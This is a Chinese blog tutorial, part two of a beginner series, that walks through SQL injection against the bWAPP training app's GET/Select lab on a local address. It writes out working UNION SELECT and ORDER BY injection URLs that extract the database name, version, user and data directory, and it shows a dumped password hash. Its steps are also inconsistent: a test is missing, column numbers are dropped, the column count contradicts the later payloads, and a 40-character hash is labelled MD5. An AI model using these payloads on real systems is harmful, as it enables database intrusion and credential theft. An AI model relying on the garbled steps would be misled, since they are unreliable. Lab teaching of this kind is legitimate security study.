渗透入门之SQL 注入(二)

重要声明

        SQL注入实验仅可在自己搭建的合法测试环境(如本地虚拟机、授权的测试服务器)中进行,严禁对任何非授权系统实施测试,否则可能违反《网络安全法》等法律法规,需承担相应法律责任。

接上一篇渗透入门之SQL 注入(一)

  1. SQL Injection (GET/Select):GET请求数据查询类注入

BWAPP的SQL Injection (GET/Select)漏洞属于下拉选择框驱动的GET参数注入,核心特征是页面通过下拉选单(如选择国家/地区、类别等)提交GET参数(典型参数名:movie),参数通常关联数据库的主键/索引字段,易触发数字型(或字符型)SQL注入。与Search类注入的核心区别:注入点是下拉选单对应的ID类GET参数,而非搜索框的字符串参数,测试逻辑需适配数字型注入特征。

1步骤1:进入漏洞页面

  • 访问BWAPP首页(如http://192.168.0.100/bwapp),使用默认账号bee、密码bug登录;
  • 在“Choose your bug”下拉框中选择SQL Injection (GET/Select),点击Hack按钮进入漏洞页面;
  • 观察页面特征:
  • 页面显示“Select a movie”下拉选择框
  • 选择任意选项,点击提交,URL自动变为:http://192.168.0.100/bwapp/sqli_2.php?movie=2&action=go
  • 核心结论:movie是GET注入参数,目标是对该参数进行注入测试。

(2)  步骤2:判断注入点类型及存在性

目标:确认movie参数是否存在注入,以及注入类型(数字型/字符型)。

测试1:数字型注入验证

  • 正常请求:
  • 正常请求:http://192.168.0.100/bwapp/sqli_2.php?movie=2&action=go → 页面显示movie相关数据;

  • 结论:movie参数存在数字型SQL注入

(3)  步骤3:判断后台查询的字段数(ORDER BY)

目标:确定后台SQL查询的字段数量,为联合查询铺垫。

构造URL(逐步增加ORDER BY后的数字,直到报错):

  • http://192.168.0.100/bwapp/sqli_2.php?movie=2 ORDER BY 2&action=go → 页面正常;

  • http://192.168.0.100/bwapp/sqli_2.php?movie=2 ORDER BY 8&action=go → 报错

结论:后台SQL查询的字段数为7

(4)步骤4:联合查询找“显位”(可显示数据的列)

目标:让原查询无结果,强制显示联合查询的结果,确定哪些列会在页面展示。

  • 构造URL(用movie=-1让原查询无匹配结果,UNION SELECT拼接查询):

http://192.168.0.100/bwapp/sqli_2.php?movie=-1 UNION SELECT 1,2,3,4,5,6,7&action=go

  • 观察页面:数字234等会显示在页面中,说明第列是显位(可展示注入提取的数据)。

(5)步骤5:获取数据库基础信息

利用UNION SELECT提取MySQL核心信息,替换显位为目标函数:

目标信息

构造URL示例(数字型)

预期结果示例

当前数据库名

http://192.168.0.100/bwapp/sqli_2.php?movie=-1 UNION SELECT 1,database(),3&action=go

bwapp

目标信息

构造URL示例(数字型)

预期结果示例

MySQL版本

http://192.168.0.100/bwapp/sqli_2.php?movie=-1 UNION SELECT 1,version(),3&action=go

5.0.96

目标信息

构造URL示例(数字型)

预期结果示例

数据库用户

http://192.168.0.100/bwapp/sqli_2.php?movie=-1 UNION SELECT 1,user(),3&action=go

root@localhost

目标信息

构造URL示例(数字型)

预期结果示例

数据存储目录

http://192.168.0.100/bwapp/sqli_2.php?movie=-1 UNION SELECT 1,@@datadir,3&action=go

/var/lib/mysql/

(6)步骤6:获取bwapp数据库的表名

详见渗透入门之SQL注入(一)

(7)步骤7:获取users表的列名

 详见渗透入门之SQL注入(一)

(8)步骤8:提取users表的账号密码数据

  详见渗透入门之SQL注入(一)

页面会显示用户数据:

显位2(由上章节用户名存在login里)

显位3(password,MD5加密)

A.I.M.

6885858486f31043e5839c735d99457f045affd0

解密MD5值:A.I.M.对应密码bug。

(9)步骤9:验证结果

使用提取到的用户名密码登录BWAPP,验证账号密码的有效性,确认注入结果正确。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值